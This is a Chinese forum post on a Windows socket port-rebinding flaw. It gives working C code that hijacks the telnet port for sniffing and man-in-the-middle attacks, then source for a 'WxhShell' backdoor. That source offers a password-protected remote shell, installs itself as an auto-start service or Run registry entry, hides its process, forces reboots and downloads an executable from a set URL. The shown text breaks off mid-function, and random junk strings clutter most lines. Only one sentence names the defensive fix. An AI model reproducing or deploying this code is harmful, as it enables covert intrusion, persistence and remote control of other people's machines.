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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1Tn0$+$.4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W>ZL[BQ  
'eKvt5&@  
  saddr.sin_family = AF_INET; h}vzZZ2,  
#1>DV@^F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #Kr\"o1]  
N S^(5g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); . *9+%FN  
R`7v3{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '/Y D$*,  
2<Vw :+,  
  这意味着什么?意味着可以进行如下的攻击: urJ>dw?FI  
T?p' R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AixQR[Ul*c  
41pk )8~pt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Cfizh@<  
6mFH>T*jzH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SAuZWA4g[  
?A!Lh,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Mn<G9KR  
$jLJ&R=?]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3ug|H  
pt"yJtM'P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $OE~0Z\0  
6usy0g D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /(`B;?  
<NIg`B@'s  
  #include 0SoU\/kUi  
  #include ;n-)4b]\  
  #include fS( )F*J  
  #include    uO4kCK<7C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "E? 8. `T  
  int main() f zu#!  
  { amPC C  
  WORD wVersionRequested; "8p fLI  
  DWORD ret; c1v,5c6d j  
  WSADATA wsaData; x#mZSSd  
  BOOL val; pq \M;&  
  SOCKADDR_IN saddr; ,bv?c@  
  SOCKADDR_IN scaddr; 5H+S=  
  int err; &9Vm3X  
  SOCKET s; a59l"b  
  SOCKET sc; oXCZpS  
  int caddsize; @J[l^o9  
  HANDLE mt; IIN"'7Z^R  
  DWORD tid;   }v0IzGKs  
  wVersionRequested = MAKEWORD( 2, 2 ); :+1S+w  
  err = WSAStartup( wVersionRequested, &wsaData ); 9!XW):  
  if ( err != 0 ) { ?V6+o`bm  
  printf("error!WSAStartup failed!\n"); Sa V]6/|  
  return -1; 8"C;I=]8  
  } <lk_]+ XJ3  
  saddr.sin_family = AF_INET; bLx70$  
   $(2c0S{1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ObDcNq/b!  
)~hsd+ 0t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dHU#Y,v  
  saddr.sin_port = htons(23); G$ l>By  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O*af`J{  
  { Sb&sW?M  
  printf("error!socket failed!\n"); 'E/vE0nN?  
  return -1; jni }om  
  } 5t$ZEp-  
  val = TRUE; b"Hg4i)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dAOmqu, 6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1goK>=-^  
  { ~jd:3ip+!  
  printf("error!setsockopt failed!\n"); WMB~? EDhv  
  return -1; ^s@?\v  
  } k~ZwHx(%S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v= b`kCH}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aX=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )t G`a ;  
&[BDqi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q9- =>  
  { u7!X#<  
  ret=GetLastError(); f1Ruaz-  
  printf("error!bind failed!\n"); U8?%Dq%i  
  return -1; YaTJKgi"0  
  } LC5NB{b\%>  
  listen(s,2); M9MfO*  
  while(1) W M/pP?||  
  { dMsX}=EI<  
  caddsize = sizeof(scaddr); [guJd";  
  //接受连接请求 GXC:~$N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S#{e@ C  
  if(sc!=INVALID_SOCKET) Pms"YhyZ7  
  { 8U B-(~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I:s#,! >  
  if(mt==NULL) brN:Ypf-e  
  { ya]CxnKR3  
  printf("Thread Creat Failed!\n"); ugg08am!  
  break; Xj.Tg1^K"  
  } >JVZ@ PV H  
  } 4oLrCQZ\  
  CloseHandle(mt); X}`|"NIk.  
  } kUAjQ>  
  closesocket(s); R;6(2bTN6  
  WSACleanup(); $b;9oST  
  return 0; '+BcPB?E  
  }   B8z3W9  
  DWORD WINAPI ClientThread(LPVOID lpParam) lmb5Z-xB  
  { Ch607 i=  
  SOCKET ss = (SOCKET)lpParam; 5haJPWG|'  
  SOCKET sc; ,Z*?"d  
  unsigned char buf[4096]; 0|8c2{9X,  
  SOCKADDR_IN saddr; &eq>>  
  long num; n{j14b'  
  DWORD val; Z^9;sb,x  
  DWORD ret; 7g3vh%G.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xd\k;nq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !+& "y K@J  
  saddr.sin_family = AF_INET; _wp6rb:8!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l)`bm/k]V  
  saddr.sin_port = htons(23); W:8_S%~d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *+h2,Z('a  
  { zDY!0QZLF\  
  printf("error!socket failed!\n"); wwVK15t  
  return -1; ?!1K@/!  
  } qsXK4`  
  val = 100; zghUwW|K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t_c;4iE  
  { p=jD "lq  
  ret = GetLastError(); A!&p,KfT5+  
  return -1; s%"3F<\  
  } |XOD~Plo^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iq.*2aff+  
  { NxVqV5 '  
  ret = GetLastError(); roYoxF;\  
  return -1; O=8:K'  
  } =@;uDu:Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =ZjF5,@  
  { Az[Yvu'<  
  printf("error!socket connect failed!\n"); H cwqVU  
  closesocket(sc);  Ko9"mHNB  
  closesocket(ss); (1gfb*L  
  return -1; cf?*6q?n  
  } ,TaaXI  
  while(1) wQJY,|.  
  { 5mdn77F_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5$0@f`sj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B P%>J^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4- z3+e  
  num = recv(ss,buf,4096,0); v.H00}[.  
  if(num>0) _x_om#~n  
  send(sc,buf,num,0); %YLdie6c  
  else if(num==0) -S\74hA  
  break; 6f/>o$  
  num = recv(sc,buf,4096,0); 0TK+R43_  
  if(num>0) TWkuR]5  
  send(ss,buf,num,0); 1?sR1du,  
  else if(num==0) H Yt& MK  
  break; tK{2'e6x  
  } 4tU3+e5h  
  closesocket(ss); 4.2qt  
  closesocket(sc); Q.Uyl:^PxU  
  return 0 ; JPW+(n|g  
  } O?|opD  
^XEX"E  
syhTOhOX  
========================================================== <X~ X#9V  
\xJTsdd  
下边附上一个代码,,WXhSHELL 91|=D \8aE  
n_vopDMm  
========================================================== AHX_I  
,":_=Tf.  
#include "stdafx.h" ~Q%C>  
[4B.;MS(  
#include <stdio.h> {` Bgxejf  
#include <string.h> g-j`Ex%  
#include <windows.h> &g;4;)p*8  
#include <winsock2.h> 94Mh/A9k  
#include <winsvc.h> MFO}E!9`q  
#include <urlmon.h> i~:FlW]  
tgEXX-{  
#pragma comment (lib, "Ws2_32.lib") 95jJ"4a+  
#pragma comment (lib, "urlmon.lib") BtDi$d%'  
Qa~dd{?  
#define MAX_USER   100 // 最大客户端连接数 0p\R@{  
#define BUF_SOCK   200 // sock buffer }2 zJ8A9-  
#define KEY_BUFF   255 // 输入 buffer U WYLT-^x  
qYZ\< h^  
#define REBOOT     0   // 重启 ];bB7+  
#define SHUTDOWN   1   // 关机 Jx[Z[RO2  
Qag@#!&n  
#define DEF_PORT   5000 // 监听端口 #"% ]1={b  
+o})Cs`|=A  
#define REG_LEN     16   // 注册表键长度 4Sv&iQ=vh  
#define SVC_LEN     80   // NT服务名长度 C(7uvQ  
j&)"a,f  
// 从dll定义API ^pA|ubZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n| =k9z<y8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -ZqN~5>j)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *l:5FT p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &z;F'>"  
oZ;u>MeZ  
// wxhshell配置信息 NltEX14Af  
struct WSCFG { RkP g&R;i  
  int ws_port;         // 监听端口 z1A[rbe=4w  
  char ws_passstr[REG_LEN]; // 口令 5at\!17TY  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]5b%r;_  
  char ws_regname[REG_LEN]; // 注册表键名 /N(L52mz  
  char ws_svcname[REG_LEN]; // 服务名 biFy*+|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %9hzz5#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o =)hUr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^Z]1Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 513{oM:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bgs3sM9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T. nY>Q8  
m'H%O-h\  
}; Z"rrbN1  
]0<T,m Z  
// default Wxhshell configuration 7@"J&><w!  
struct WSCFG wscfg={DEF_PORT, ++ !BSQ e  
    "xuhuanlingzhe", 7Z;bUMYtx  
    1, ek6PMZF:'  
    "Wxhshell", sp*_;h3'  
    "Wxhshell", N q %@(K  
            "WxhShell Service", g2p/#\D\J  
    "Wrsky Windows CmdShell Service", 3D>syf  
    "Please Input Your Password: ", 3 " fBp  
  1, ]&%_Fpx  
  "http://www.wrsky.com/wxhshell.exe", +:@HJXwK  
  "Wxhshell.exe" q]+'{Ci@  
    }; ;~Y0H9`  
.T0w2Dv/  
// 消息定义模块 @MMk=/WDw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Oi# F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "{-jZdq'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z>1\|j  
char *msg_ws_ext="\n\rExit."; R/ 5aIh  
char *msg_ws_end="\n\rQuit."; 9C[i#+_3M  
char *msg_ws_boot="\n\rReboot..."; Lk{ES$  
char *msg_ws_poff="\n\rShutdown..."; h6c0BmS{1  
char *msg_ws_down="\n\rSave to "; R5=2EwrGP  
j?sq i9#  
char *msg_ws_err="\n\rErr!"; )`5k fj  
char *msg_ws_ok="\n\rOK!"; GZgu1YR  
ht _fbh(l  
char ExeFile[MAX_PATH]; O!#yP Sq?  
int nUser = 0; uN1(l}z$  
HANDLE handles[MAX_USER]; It.G-(  
int OsIsNt; #;ez MRKM"  
K^0cL%dB  
SERVICE_STATUS       serviceStatus; tNf?pV77  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q _Yl:c  
&qfnCM0Y  
// 函数声明 \%Wu`SlDp9  
int Install(void); % \OG#36  
int Uninstall(void); C" vj#Tx  
int DownloadFile(char *sURL, SOCKET wsh); J+oK:tzt8  
int Boot(int flag); Qu4Bd|`(k  
void HideProc(void); 26n+v(re  
int GetOsVer(void); x>MrB  
int Wxhshell(SOCKET wsl); VB x,q3.  
void TalkWithClient(void *cs); *N5cC#5`=  
int CmdShell(SOCKET sock); LRNgpjE}  
int StartFromService(void); (6##\}L&9  
int StartWxhshell(LPSTR lpCmdLine); q)S70M_1  
yTj!(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lo"w,p`n@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aH6{_eY  
$#q:\yQsPC  
// 数据结构和表定义 GF(<!PC  
SERVICE_TABLE_ENTRY DispatchTable[] = ktQMkEj#  
{ o/ Z  
{wscfg.ws_svcname, NTServiceMain}, ,khB*h14;h  
{NULL, NULL} <\i}zoPO  
}; ,l}mCY  
p9c`rl_N  
// 自我安装 fB .xjp?  
int Install(void) !ho~@sc{W  
{ b5r.N1ms  
  char svExeFile[MAX_PATH]; v/dyu  
  HKEY key; JIeKp7;^  
  strcpy(svExeFile,ExeFile); /F#_~9JXG  
1;O%8sp&  
// 如果是win9x系统,修改注册表设为自启动 \^=Wp'5R  
if(!OsIsNt) { <HReh>)[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VXr'Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CUz1 q*):  
  RegCloseKey(key); z D&5R/I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sfLH[Q?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (;1rM}B;1  
  RegCloseKey(key); hEG-,   
  return 0; CYIp 3D'k  
    } o;.6Y `-fJ  
  } r3OTU$t?  
} < 0S+[7S"  
else { l)JNNcej  
q]1HCWde  
// 如果是NT以上系统,安装为系统服务 UkO L7M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `R}q&|o7<  
if (schSCManager!=0) BU\P5uB!V  
{ >]6 inS9  
  SC_HANDLE schService = CreateService K YSyz)M}  
  ( Oa[G #  
  schSCManager, tS$^k)ZXip  
  wscfg.ws_svcname, s)?=4zJ  
  wscfg.ws_svcdisp, y.KFz9Qv  
  SERVICE_ALL_ACCESS, :n1^Xw0q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D{%l 4og  
  SERVICE_AUTO_START, XiP xg[;  
  SERVICE_ERROR_NORMAL, };rxpw>ms  
  svExeFile, O<A$,<67  
  NULL, ;0)|c}n+.5  
  NULL, 7=$@bHEF#*  
  NULL, R`)^eqB  
  NULL, 5"x=kp>!d  
  NULL zQ;jaS3 hf  
  ); o\n9(ao  
  if (schService!=0) Ch3{q/-g  
  { {km~,]N  
  CloseServiceHandle(schService); 3J^"$qfSn  
  CloseServiceHandle(schSCManager); 03]   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4$j7DJ8dj  
  strcat(svExeFile,wscfg.ws_svcname); '}\#bMeObg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J%_m`?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bz&6kRPv  
  RegCloseKey(key); }8H_^G8  
  return 0; <ptskbu  
    } M Y2=lT  
  }  3M5+!H  
  CloseServiceHandle(schSCManager); Bh'_@PHP  
} )oEHE7y  
} &#keI.,  
;zMZ+GZ?;+  
return 1; SN${cs%  
} sZ-A~X@g  
~1_v;LhH5+  
// 自我卸载 q<5AB{Oj?  
int Uninstall(void) 5Op|="W.  
{ XXx]~m  
  HKEY key; P^wDt14>  
,KT[ }P7  
if(!OsIsNt) { {S+  $C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EWcqMD]4u  
  RegDeleteValue(key,wscfg.ws_regname); -y@# ^SrJ  
  RegCloseKey(key); B)q 5m y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;9WS#>o  
  RegDeleteValue(key,wscfg.ws_regname); cph&\ V2jt  
  RegCloseKey(key); LSX;|#AI  
  return 0; Tz PG(f  
  } vz\^Aa #fv  
} *OX;ZQg0  
} jrF#DDH?I  
else { DlD;rL=  
+>w %j&B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qs9q{n-Aj  
if (schSCManager!=0) nIckI!U#D  
{ .B9i`)0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T>$S&U  
  if (schService!=0) n`W7g@Sg#I  
  { t08E 2sI  
  if(DeleteService(schService)!=0) { 1N3qMm^  
  CloseServiceHandle(schService); &8w MGahp  
  CloseServiceHandle(schSCManager); I1J/de,u  
  return 0; /=+y[y3`  
  } E8`AU<  
  CloseServiceHandle(schService); P+9%(S)L3  
  } ['`Vg=O.{  
  CloseServiceHandle(schSCManager); u{Rgk:bn  
} 0@BhRf5  
} B %L dH  
oP%'8%tk  
return 1; @v:p)|Ne;  
} x_k @hGSC  
?'jRUfl   
// 从指定url下载文件 t>Ot)d  
int DownloadFile(char *sURL, SOCKET wsh) EN\ uX!  
{ GIs *;ps7w  
  HRESULT hr; 1( nK|  
char seps[]= "/"; -9X#+-  
char *token; y%wjQC 0~  
char *file; [VL+X^  
char myURL[MAX_PATH]; u3VSS4RG%  
char myFILE[MAX_PATH]; C7hJE -  
GcHy`bQbiX  
strcpy(myURL,sURL); K'DRX85F  
  token=strtok(myURL,seps); "m'roU  
  while(token!=NULL) |B` mWZ'"  
  { N H$!<ffz  
    file=token; `#Yv(a2TY  
  token=strtok(NULL,seps); 3<:m;F*#  
  } :5 zXW;s  
6M)4v{F  
GetCurrentDirectory(MAX_PATH,myFILE); 1P '_EJ]M  
strcat(myFILE, "\\"); [<!4 a  
strcat(myFILE, file); {i!@C(M3  
  send(wsh,myFILE,strlen(myFILE),0); \0'0)@uziQ  
send(wsh,"...",3,0); O"c@x:i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '(S@9%,aK1  
  if(hr==S_OK) G*].g['  
return 0; QV_e6r1t#m  
else wgV?1S>Z  
return 1; 7hLdCSX  
rO;Vr},3\%  
} &i8UPp%  
Ic,V ,#my  
// 系统电源模块 [$+N"4  
int Boot(int flag) @x4IxGlUs  
{ YS|Ve*t(L=  
  HANDLE hToken; &|j^?ro6  
  TOKEN_PRIVILEGES tkp; _go1gf7  
FsXqF&{  
  if(OsIsNt) { B?|url6h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6t0-u~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y G{;kJ P  
    tkp.PrivilegeCount = 1; E#I^D/0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hZ;[}5T\<S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]>%M%B  
if(flag==REBOOT) { >kN%R8*Sx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qyl9#C(a  
  return 0;  Q&d"uLsx  
} 54geU?p0  
else { *|F ;An.N^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OY?x'h  
  return 0; }.$5'VGO  
} +_E\Omcw  
  } {WYHT6Z  
  else { Ki_8g  
if(flag==REBOOT) { Ce%fz~*b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PE7D)!d T  
  return 0; fkjo  
} 'K:zW>l  
else { P+j5_V{\b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qx+ .v2G  
  return 0; <Jwx|  
} x6BO%1  
} X u+^41  
f(r=S Xa*  
return 1; "N\tR[P!  
} 4{Q{>S*h  
zQNkjQ{mx  
// win9x进程隐藏模块 ztRe\(9bL  
void HideProc(void)  `[=3_  
{ X\yy\`o  
B{^ojV;]m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Zm- F  
  if ( hKernel != NULL ) btV Tt5  
  { Q Jnji  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &0='z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (X?'}Ur  
    FreeLibrary(hKernel); [IgB78_$  
  } c%bGVRhE  
0:SR29(p1  
return; 9jC>OZ0s  
} $0OWPC1  
C72!::o  
// 获取操作系统版本 q#n0!5Lv2  
int GetOsVer(void) >cE@m=[  
{ n=+K$R  
  OSVERSIONINFO winfo; cp&- 6 w+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6S2u%-]  
  GetVersionEx(&winfo); :nPLQqXGQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *co=<g]4KY  
  return 1; I5$@1+B  
  else <Z -d5D>  
  return 0; >Wbt_%dKy  
} Jn/"(mM  
P0 va=H  
// 客户端句柄模块 "{&?t}rj+  
int Wxhshell(SOCKET wsl) Bn5O;I13  
{ e9 `n@  
  SOCKET wsh; Xaca=tsO  
  struct sockaddr_in client; JQp::,g  
  DWORD myID; f'2Ufd|J|  
bc{ {a  
  while(nUser<MAX_USER) *u|bmt  
{ lg(*:To3B  
  int nSize=sizeof(client); %~`y82r6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pl>S1  
  if(wsh==INVALID_SOCKET) return 1; Eed5sm$H  
b\dzB\,&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X;hV+| Bo  
if(handles[nUser]==0) BJ]4j-^o  
  closesocket(wsh); ~ e4Pj`?=K  
else OjUZ-_J  
  nUser++; !='?+Ysxs  
  } me7?   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {}#W~1`  
4Hk eXS.  
  return 0; O7MFKAaD  
} qNH= W?T8.  
8l, R|$RKP  
// 关闭 socket &6yh4-(7  
void CloseIt(SOCKET wsh) JIGoF  
{ %B ,>6 `[  
closesocket(wsh); _aR_ [  
nUser--; vp4l g1/  
ExitThread(0); EqN_VT@  
} 4t%g:9]vr  
S:*.,zC  
// 客户端请求句柄 ~ .FZF  
void TalkWithClient(void *cs) nO'lN<L  
{ XJs*DK  
LFi8@  
  SOCKET wsh=(SOCKET)cs; tqnvC UIE  
  char pwd[SVC_LEN]; :$>Co\D  
  char cmd[KEY_BUFF]; E*uz|w3S)Y  
char chr[1]; Y6>@zznk  
int i,j; w;LIP!T#  
XtJ _po  
  while (nUser < MAX_USER) { Q*W`mFul  
AB!P(  
if(wscfg.ws_passstr) { P|>pm]>C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oi@/H\7j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JDQ7  
  //ZeroMemory(pwd,KEY_BUFF); &.> 2@  
      i=0; : J3_g<@  
  while(i<SVC_LEN) { baD`k?](  
3C+!Y#F  
  // 设置超时 {z4v_[-2CF  
  fd_set FdRead; }.nHT0l  
  struct timeval TimeOut; ;^Q - 1  
  FD_ZERO(&FdRead); D*Cn!v$  
  FD_SET(wsh,&FdRead); Zj(2$9IU  
  TimeOut.tv_sec=8; lWVvAoe  
  TimeOut.tv_usec=0; xnBU)#<]S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @w8MOT$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 20Umjw.D  
TqvgCk-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gPo3jwo$  
  pwd=chr[0]; "sM 3NY  
  if(chr[0]==0xd || chr[0]==0xa) { C EzTErn  
  pwd=0; %^5|3l3y  
  break; Pjs L{,  
  } R\^n2gK  
  i++; ]M:=\h,t>  
    } BI BBp=+  
8?YWE62  
  // 如果是非法用户,关闭 socket )IFzal}o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0q@U>#  
} ,?'":T1[  
qs["&\@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .L#xX1qr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P?.j wI  
ckglDhC  
while(1) { STr&"9c  
y;.U-}e1  
  ZeroMemory(cmd,KEY_BUFF); Vb _W&Nwd  
-Um|:[*I  
      // 自动支持客户端 telnet标准   w9Eb\An  
  j=0; /^m3?q[a  
  while(j<KEY_BUFF) { 8 2EH'C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6r|BiHP  
  cmd[j]=chr[0]; wDL dmrB  
  if(chr[0]==0xa || chr[0]==0xd) { &s+F+8"P+  
  cmd[j]=0; /]_a\x5Ss  
  break; q h+c}"4m  
  } `T-lBwH  
  j++; 2tEA8F~k  
    } &fIx2ZM[  
5S;|U&f|  
  // 下载文件 YgeU>I|v  
  if(strstr(cmd,"http://")) { {<p-/|Z52  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wva| TZ  
  if(DownloadFile(cmd,wsh)) viLK\>>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XDot3)2`  
  else ]tu:V,q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ja*k |Rz~  
  } m^9[k,;K  
  else { FtEmSKD  
1]yjhw9g  
    switch(cmd[0]) { N9[2k.oBH  
  f`[gRcZ-  
  // 帮助 hv6w=?7  
  case '?': { t$*V*gK{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g4`)n`  
    break; LK?V`J5wY  
  } ,rO>5$w.  
  // 安装 B <CK~ybY  
  case 'i': { MgP6ki1z  
    if(Install()) .;:jGe(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VkD8h+)  
    else NY& |:F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'u%;5;%2  
    break; 0VA$ Ige  
    } [^J2<\<0  
  // 卸载 clcj5=:  
  case 'r': { PN +<C7/  
    if(Uninstall()) n*HRGJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RjOQSy3  
    else fFBD5q(n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r2Wx31j{  
    break; ,J (+%#$UT  
    } z;74(5?q  
  // 显示 wxhshell 所在路径 .&Vy o<9Ck  
  case 'p': { 5z$>M3  
    char svExeFile[MAX_PATH]; rl <! h5  
    strcpy(svExeFile,"\n\r"); neHozmm|  
      strcat(svExeFile,ExeFile); EJbFo682  
        send(wsh,svExeFile,strlen(svExeFile),0); UB4M=R|  
    break; RyxEZ7dC<y  
    } _;M46o%h  
  // 重启 w'Cn3b)`  
  case 'b': { S!u`V3-s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +Yuy%VT  
    if(Boot(REBOOT)) j.5;0b_L^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OfR\8hAY  
    else { wc-ll&0Z  
    closesocket(wsh); iz2I4 _N  
    ExitThread(0); UacGq,  
    } GisI/Ir[  
    break; ~vCfMV[F  
    } is3nLm(  
  // 关机 (N etn&  
  case 'd': { <z>K{:+>  
